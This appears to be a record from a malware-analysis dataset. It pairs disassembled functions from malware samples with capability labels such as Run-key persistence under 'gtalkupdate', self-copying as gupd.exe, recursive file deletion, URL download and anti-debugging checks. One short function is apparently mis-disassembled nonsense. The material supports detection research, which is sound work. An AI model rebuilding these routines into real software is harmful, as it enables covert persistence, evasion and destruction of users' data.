joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411f16
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x271c
call fcn.004138d0
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
and byte [ebp + 0x13], 0
xor esi, esi
push esi
push esi
push esi
push 1
mov dword [eax], esi
push str.user
mov dword [ebx], esi
call dword [sym.imp.WININET.dll_InternetOpenA]
push esi
push closesocket
push esi
push esi
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
cmp eax, esi
mov dword [ebp - 4], eax
je 0x41200c
push edi
mov dword [ebp + 0x10], esi
mov dword [ebp + 8], esi
lea eax, [ebp + 0x10]
push eax
lea eax, [ebp - 0x271c]
push 0x2710
push eax
push dword [ebp - 4]
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
je 0x411f8e
cmp dword [ebp + 0x10], esi
jbe 0x411fe5
mov eax, dword [ebx]
add eax, dword [ebp + 0x10]
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov ecx, dword [ebx]
mov esi, dword [ebp + 8]
mov edx, ecx
mov edi, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
mov dword [ebp - 8], eax
and ecx, 3
push dword [ebp + 8]
rep movsb byte es:[edi], byte [esi]
mov edi, dword [ebx]
mov ecx, dword [ebp + 0x10]
add edi, eax
mov eax, ecx
lea esi, [ebp - 0x271c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
mov eax, dword [ebp - 8]
pop ecx
mov dword [ebp + 8], eax
mov eax, dword [ebp + 0x10]
add dword [ebx], eax
pop ecx
xor esi, esi
jmp 0x411f6c
push dword [ebx]
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, dword [ebp + 8]
mov ecx, dword [ebp + 0xc]
mov edi, eax
mov dword [ecx], eax
mov ecx, dword [ebx]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [ebp + 0x13], 1
pop edi
push dword [ebp - 0xc]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
mov al, byte [ebp + 0x13]
pop esi
pop ebx
leave
ret

Function at 0x41207f
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 8]
xor ebx, ebx
push ebx
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov esi, eax
cmp esi, ebx
je 0x4120ac
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
test eax, eax
push esi
setne bl
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret
Function at 0x4125ed
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_wcscpy]
push edi
push dword [ebp + 8]
lea eax, [ebp - 0x418]
push eax
call esi
mov edi, dword [sym.imp.MSVCRT.dll_wcscat]
lea eax, [ebp - 0x418]
push 0x415b8c
push eax
call edi
push dword [ebp + 8]
lea eax, [ebp - 0x210]
push eax
call esi
lea eax, [ebp - 0x210]
push 0x414994
push eax
call edi
add esp, 0x20
lea eax, [ebp - 0x668]
push eax
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileW]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x412751
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x418]
push eax
call esi
mov ebx, dword [sym.imp.KERNEL32.DLL_RemoveDirectoryW]
pop ecx
pop ecx
mov byte [ebp - 1], 1
lea eax, [ebp - 0x668]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindNextFileW]
test eax, eax
je 0x41271c
lea eax, [ebp - 0x63c]
push eax
call fcn.004125b9
test eax, eax
pop ecx
jne 0x41272b
lea eax, [ebp - 0x63c]
push eax
lea eax, [ebp - 0x210]
push eax
call edi
test byte [ebp - 0x668], 0x10
pop ecx
pop ecx
je 0x4126ee
lea eax, [ebp - 0x210]
push eax
call fcn.004125ed
test eax, eax
pop ecx
je 0x412748
lea eax, [ebp - 0x210]
push eax
call ebx
lea eax, [ebp - 0x418]
push eax
lea eax, [ebp - 0x210]
push eax
call esi
pop ecx
pop ecx
jmp 0x41272b
test byte [ebp - 0x668], 1
je 0x412709
lea eax, [ebp - 0x210]
push 0x80
push eax
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesW]
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileW]
test eax, eax
je 0x412748
jmp 0x4126da
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x12
jne 0x412748
and byte [ebp - 1], 0
cmp byte [ebp - 1], 0
jne 0x412678
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindClose]
push dword [ebp + 8]
call ebx
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindClose]
xor eax, eax
jmp 0x412743

Function at 0x412755
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword [ebp + 0x14]
push ebx
xor ebx, ebx
push esi
sub eax, ebx
je 0x412773
dec eax
jne 0x412781
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
jmp 0x412781
mov dword [ebp - 8], 0x40000000
mov dword [ebp - 4], 2
push ebx
push 0x80
push dword [ebp - 4]
push ebx
push ebx
push dword [ebp - 8]
push dword [ebp + 0x10]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4127a3
xor al, al
jmp 0x4127da
cmp dword [ebp + 0x14], 1
jne 0x4127b9
push 2
push ebx
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_SetFilePointer]
cmp eax, 0xffffffff
je 0x4127d1
lea eax, [ebp + 0x10]
push ebx
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
test eax, eax
je 0x4127d1
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop esi
pop ebx
leave
ret
Function at 0x4127de
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
push ebx
push 0x80
push 3
push ebx
push 3
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x412809
xor al, al
jmp 0x412849
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov ecx, dword [ebp + 0xc]
mov edi, eax
push ebx
push edi
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::resize_unsigned_int__char_]
mov ecx, dword [ebp + 0xc]
lea eax, [ebp + 8]
push ebx
push eax
push edi
mov dword [ebp + 8], ebx
call dword [sym.imp.MSVCP60.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_ReadFile]
test eax, eax
pop edi
je 0x412840
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov al, bl
pop esi
pop ebx
pop ebp
ret

Function at 0x412882
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push closesocket
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4128ad
xor eax, eax
jmp 0x4128c0
push edi
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
ret

Function at 0x4128c4
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push edi
xor edi, edi
cmp dword [ebp + 8], edi
je 0x41296d
push edi
lea eax, [ebp + 8]
push edi
push eax
push dword [ebp + 8]
push edi
call sub.urlmon.dll_URLOpenBlockingStreamW
test eax, eax
jl 0x41296d
mov eax, dword [ebp + 8]
push ebx
push esi
lea edx, [ebp - 0x50]
mov ecx, dword [eax]
push 1
push edx
push eax
call dword [ecx + 0x30]
test eax, eax
jl 0x412962
inc dword [ebp - 0x48]
mov esi, dword [ebp - 0x48]
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov ebx, dword [ebp + 0xc]
mov edx, eax
cmp edx, edi
pop ecx
mov dword [ebx], edx
je 0x412962
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov ecx, esi
mov edi, edx
mov edx, ecx
xor eax, eax
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
xor edi, edi
lea eax, [esi - 1]
mov esi, dword [ebp + 0x10]
push edi
push edi
push dword [ebp - 4]
mov dword [esi], eax
mov eax, dword [ebp + 8]
push dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp + 8]
push edi
push dword [esi]
mov ecx, dword [eax]
push dword [ebx]
push eax
call dword [ecx + 0xc]
push 1
pop edi
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
pop esi
pop ebx
mov eax, edi
pop edi
leave
ret
Function at 0x412dfd
Capabilities:
Change the wallpaper

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 8]
push ebx
push esi
sub eax, 0
push edi
je 0x412f25
dec eax
je 0x412ee4
dec eax
je 0x412ea9
dec eax
je 0x412e6e
dec eax
jne 0x412f76
push 1
lea eax, [ebp + 0xb]
sub esp, 0x10
mov ecx, esp
push eax
push 0x414a8c
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov edi, str.Control_PanelDesktop
push str.WallpaperStyle
mov esi, closesocket
push edi
push esi
call fcn.0040b598
add esp, 0x20
lea eax, [ebp - 1]
push 1
sub esp, 0x10
mov ecx, esp
push eax
push 0x4148a8
jmp 0x412f61
push 1
lea eax, [ebp - 2]
sub esp, 0x10
mov ecx, esp
push eax
push 0x414a88
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov edi, str.Control_PanelDesktop
push str.WallpaperStyle
mov esi, closesocket
push edi
push esi
call fcn.0040b598
add esp, 0x20
lea eax, [ebp - 3]
push 1
sub esp, 0x10
mov ecx, esp
jmp 0x412f1d
push 1
lea eax, [ebp - 4]
sub esp, 0x10
mov ecx, esp
push eax
push 0x415df0
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov edi, str.Control_PanelDesktop
push str.WallpaperStyle
mov esi, closesocket
push edi
push esi
call fcn.0040b598
add esp, 0x20
lea eax, [ebp - 5]
push 1
sub esp, 0x10
mov ecx, esp
jmp 0x412f1d
push 1
lea eax, [ebp - 6]
sub esp, 0x10
mov ecx, esp
push eax
push 0x414a90
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov edi, str.Control_PanelDesktop
push str.WallpaperStyle
mov esi, closesocket
push edi
push esi
call fcn.0040b598
add esp, 0x20
lea eax, [ebp - 7]
push 1
sub esp, 0x10
mov ecx, esp
push eax
push 0x414a8c
jmp 0x412f61
push 1
lea eax, [ebp - 8]
sub esp, 0x10
mov ebx, 0x414a8c
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
mov edi, str.Control_PanelDesktop
push str.WallpaperStyle
mov esi, closesocket
push edi
push esi
call fcn.0040b598
add esp, 0x20
lea eax, [ebp - 9]
push 1
sub esp, 0x10
mov ecx, esp
push eax
push ebx
call dword [sym.imp.MSVCP60.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___class_std::allocator_char__const__]
push str.TileWallpaper
push edi
push esi
call fcn.0040b598
add esp, 0x20
push 3
push dword [ebp + 0xc]
push 0
push 0x14
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x40e2a3
Capabilities:
Resolve function by parsing pe exports

Disassembly:
xor eax, eax
clc
nop
nop
cld
jae 0x40cce9
add byte [ecx], ch
salc
scasd eax, dword es:[edi]
add byte [eax], al
add al, cl
Function at 0x401000
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x264
mov eax, dword [0x5894dc]
xor eax, esp
mov dword [esp + 0x260], eax
mov eax, dword [ebp + 0x10]
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push 0x5633cc
push esi
lea ecx, [esp + 0x168]
xor ebx, ebx
push ecx
mov dword [esp + 0x24], eax
mov dword [esp + 0x20], ebx
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea edx, [esp + 0x20]
push edx
lea eax, [esp + 0x164]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [esp + 0x1c], eax
cmp eax, 0xffffffff
jne 0x401080
xor eax, eax
xor edx, edx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x260]
xor ecx, esp
call fcn.004ec47e
mov esp, ebp
pop ebp
ret
lea ecx, [esp + 0x4c]
push 0x5633d0
push ecx
call fcn.004ec63b
add esp, 8
test eax, eax
je 0x401128
lea edx, [esp + 0x4c]
push 0x5633d4
push edx
call fcn.004ec63b
add esp, 8
test eax, eax
je 0x401128
mov ecx, dword [esp + 0x20]
mov eax, ecx
and eax, 0x10
je 0x4010f5
test ecx, 0x400
jne 0x4010f5
lea eax, [esp + 0x4c]
push eax
push esi
lea ecx, [esp + 0x168]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
mov edx, dword [esp + 0x18]
push edx
lea eax, [esp + 0x164]
push edi
push eax
call fcn.00401000
add esp, 0xc
add ebx, eax
adc dword [esp + 0x14], edx
jmp 0x401128
test eax, eax
jne 0x401128
test edi, edi
je 0x401120
lea ecx, [esp + 0x4c]
push ecx
push esi
lea edx, [esp + 0x168]
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
mov eax, dword [esp + 0x18]
push eax
lea ecx, [esp + 0x164]
push ecx
call edi
add ebx, 1
adc dword [esp + 0x14], 0
mov eax, dword [esp + 0x1c]
lea edx, [esp + 0x20]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401080
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [esp + 0x26c]
mov edx, dword [esp + 0x14]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004ec47e
mov esp, ebp
pop ebp
ret

Function at 0x401170
Capabilities:
Persist via run registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x118
mov eax, dword [0x5894dc]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x104
lea eax, [ebp - 0x10b]
push 0
push eax
mov byte [ebp - 0x10c], 0
call fcn.004ed3e0
add esp, 0xc
lea ecx, [ebp - 0x114]
push ecx
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push bind
mov dword [ebp - 0x110], 1
mov dword [ebp - 0x118], 0x105
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401213
lea edx, [ebp - 0x118]
push edx
mov edx, dword [ebp - 0x114]
lea eax, [ebp - 0x10c]
push eax
lea ecx, [ebp - 0x110]
push ecx
push 0
push str.gtalkupdate
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401213
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ec47e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
call fcn.004ec47e
mov esp, ebp
pop ebp
ret
Function at 0x401230
Capabilities:
Copy file
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x5894dc]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x218]
push eax
push 0xf003f
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401348
push esi
push 0x104
push eax
lea ecx, [ebp - 0x10b]
push ecx
mov byte [ebp - 0x10c], al
call fcn.004ed3e0
push 0x104
lea edx, [ebp - 0x213]
push 0
push edx
mov byte [ebp - 0x214], 0
call fcn.004ed3e0
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
add esp, 0x18
push 0x105
lea eax, [ebp - 0x10c]
push eax
push str._HOMEDRIVE_
call esi
push 0x105
lea ecx, [ebp - 0x214]
push ecx
push str._HOMEPATH_
call esi
lea edx, [ebp - 0x214]
push edx
lea eax, [ebp - 0x10c]
push 0x105
push eax
call fcn.004ec652
add esp, 0xc
push str.gupd.exe
lea ecx, [ebp - 0x10c]
push ecx
mov edx, ecx
push edx
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
push 0
lea eax, [ebp - 0x10c]
push eax
push 0x58e0e0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea eax, [ebp - 0x10c]
lea edx, [eax + 1]
pop esi
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x401320
sub eax, edx
mov edx, dword [ebp - 0x218]
inc eax
push eax
lea ecx, [ebp - 0x10c]
push ecx
push 1
push 0
push str.gtalkupdate
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004ec47e
mov esp, ebp
pop ebp
ret

Function at 0x401360
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push 0x105
push 0x58e0e0
push 0
mov dword [0x58e0d8], eax
mov dword [ebp - 8], 0x401710
mov dword [ebp - 4], 0x401ab0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
call fcn.00401170
test al, al
jne 0x4013a4
call fcn.00401230
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push esi
push edi
mov edi, 2
xor esi, esi
mov ecx, dword [ebp + esi - 8]
push 0
push 0
push 0
push ecx
push 0
push 0
dec edi
call ebx
mov dword [ebp + esi - 0x10], eax
add esi, 4
test edi, edi
jne 0x4013b4
push 0xffffffffffffffff
push 1
lea edx, [ebp - 0x10]
push edx
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4013f0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
push edi
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWARE
push reloc.WS2_32.dll_bind
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x401435
mov ecx, dword [ebp - 4]
push str.Chilkat_Software__Inc.
push ecx
call edi
mov edx, dword [ebp - 4]
push edx
call ebx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.SOFTWAREWow6432Node
push reloc.WS2_32.dll_bind
call esi
test eax, eax
jne 0x401461
mov ecx, dword [ebp - 4]
push str.Chilkat_Software__Inc.
push ecx
call edi
mov edx, dword [ebp - 4]
push edx
call ebx
lea eax, [ebp - 4]
push eax
push 0xf003f
push 0
push str.WMZebra
push bind
call esi
test eax, eax
jne 0x40148d
mov ecx, dword [ebp - 4]
push str.CLSID
push ecx
call edi
mov edx, dword [ebp - 4]
push edx
call ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4016a0
Capabilities:
Create http request

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea esp, [esp]
push 0x7530
call edi
push 0
push 0
push 0
push 1
push str.gtalk
xor bl, bl
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
test esi, esi
je 0x4016b0
push 0
push 0x4000000
push 0xffffffffffffffff
push 0
push str.http:__www.google.com_index.html
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
test eax, eax
je 0x4016f6
push eax
mov bl, 1
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
test bl, bl
je 0x4016b0
pop edi
pop esi
pop ebx
ret

Function at 0x401860
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x5894dc]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0
push 0x4017a0
push edi
call fcn.00401000
mov ebx, dword [sym.imp.SHLWAPI.dll_PathCombineA]
add esp, 0xc
xor esi, esi
lea ecx, [ecx]
push 0x104
lea eax, [ebp - 0x10f]
push 0
push eax
mov byte [ebp - 0x110], 0
call fcn.004ed3e0
mov ecx, dword [esi + 0x58a96c]
add esp, 0xc
push ecx
push edi
lea edx, [ebp - 0x110]
push edx
call ebx
push 0
lea eax, [ebp - 0x110]
push eax
push 0x58e0e0
call dword [sym.imp.KERNEL32.dll_CopyFileA]
add esi, 4
cmp esi, 0xc
jb 0x401890
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.004ec47e
mov esp, ebp
pop ebp
ret
Function at 0x402030
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x501099
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
mov eax, dword [0x5894dc]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
mov esi, ecx
mov dword [esp + 0xc], esi
call fcn.00402570
push fcn.00402660
push 0x4025b0
push 0xa
xor ebx, ebx
push 0x10
lea eax, [esi + 0x14]
push eax
mov dword [esp + 0x30], ebx
mov dword [esi], vtable.CkMailMan.0
mov dword [esi + 4], ebx
mov byte [esi + 0xc], bl
mov dword [esi + 0x10], ebx
call fcn.004ec8df
push 0x1a60
mov byte [esp + 0x20], 1
call fcn.004eceb1
add esp, 4
mov dword [esp + 0x10], eax
cmp eax, ebx
mov byte [esp + 0x1c], 2
je 0x4020b4
mov ecx, eax
call fcn.0040b710
jmp 0x4020b6
xor eax, eax
mov dword [esi + 8], eax
mov eax, esi
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x14
ret

Function at 0x406110
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
mov edi, dword [esp + 0x10]
mov eax, dword [edi + 0x18]
cmp eax, dword [ebx + 0x18]
mov esi, ecx
je 0x40612d
pop edi
pop esi
xor al, al
pop ebx
ret 8
test eax, eax
jne 0x40613c
pop edi
mov dword [esi + 0x18], eax
pop esi
mov al, 1
pop ebx
ret 8
cmp byte [esi + 0x10], 0xdb
je 0x406149
mov byte [0], 0x78
cmp dword [esi + 0x1c], eax
jae 0x406154
push eax
call fcn.00404a80
mov eax, dword [edi + 0x18]
mov ecx, dword [esi + 0x1c]
cmp eax, ecx
mov dword [esi + 0x18], eax
jbe 0x406164
mov dword [esi + 0x18], ecx
cmp dword [esi + 0x14], 0
je 0x406125
xor eax, eax
cmp dword [edi + 0x18], eax
jbe 0x40618b
mov ecx, dword [edi + 0x14]
mov edx, dword [ebx + 0x14]
mov cl, byte [ecx + eax]
xor cl, byte [edx + eax]
mov edx, dword [esi + 0x14]
mov byte [eax + edx], cl
add eax, 1
cmp eax, dword [edi + 0x18]
jb 0x406171
pop edi
pop esi
mov al, 1
pop ebx
ret 8
Function at 0x10002fe0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100394c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x34
mov dword [ebp - 0x40], ecx
lea ecx, [ebp - 0x10]
call fcn.10015140
mov dword [ebp - 4], 0
mov byte [ebp - 0x3c], 0x44
mov byte [ebp - 0x3b], 0x65
mov byte [ebp - 0x3a], 0x62
mov byte [ebp - 0x39], 0x75
mov byte [ebp - 0x38], 0x67
mov byte [ebp - 0x37], 0x67
mov byte [ebp - 0x36], 0x65
mov byte [ebp - 0x35], 0x72
mov byte [ebp - 0x34], 0x20
mov byte [ebp - 0x33], 0x44
mov byte [ebp - 0x32], 0x65
mov byte [ebp - 0x31], 0x74
mov byte [ebp - 0x30], 0x65
mov byte [ebp - 0x2f], 0x63
mov byte [ebp - 0x2e], 0x74
mov byte [ebp - 0x2d], 0x65
mov byte [ebp - 0x2c], 0x64
mov byte [ebp - 0x2b], 0x3b
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x29], 0x45
mov byte [ebp - 0x28], 0x72
mov byte [ebp - 0x27], 0x72
mov byte [ebp - 0x26], 0x20
mov byte [ebp - 0x25], 0x43
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x64
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x3a
mov byte [ebp - 0x20], 0x20
mov byte [ebp - 0x1f], 0x30
mov byte [ebp - 0x1e], 0x78
mov byte [ebp - 0x1d], 0x39
mov byte [ebp - 0x1c], 0x30
mov byte [ebp - 0x1b], 0x30
mov byte [ebp - 0x1a], 0x30
mov byte [ebp - 0x19], 0x30
mov byte [ebp - 0x18], 0x30
mov byte [ebp - 0x17], 0x30
mov byte [ebp - 0x16], 0x36
mov byte [ebp - 0x15], 0
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
push 0xffffffffffffffff
mov ecx, dword [0x10077394]
mov edx, dword [ecx + 0x2cc]
call edx
cmp dword [ebp - 0x14], 0
je 0x100030f1
mov ecx, dword [0x10077398]
call fcn.10001470
push eax
push 0
lea eax, [ebp - 0x3c]
push eax
push 1
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, dword [0x100773b4]
call fcn.100151b0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x10]
call fcn.10015190
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x10003110
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], 0
mov byte [ebp - 2], 0
mov byte [ebp - 1], 0
pushal
mov eax, dword fs:[0xc0]
mov dword [ebp - 8], eax
mov eax, dword fs:[0x30]
mov al, byte [eax + 2]
mov byte [ebp - 2], al
popal
movzx eax, byte [ebp - 2]
test eax, eax
je 0x1000314e
mov eax, 1
jmp 0x1000317b
cmp dword [ebp - 8], 0
je 0x10003179
pushal
mov eax, dword fs:[0x18]
sub eax, 0x2000
mov eax, dword [eax + 0x60]
mov al, byte [eax + 2]
mov byte [ebp - 1], al
popal
movzx ecx, byte [ebp - 1]
test ecx, ecx
je 0x10003179
mov eax, 2
jmp 0x1000317b
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret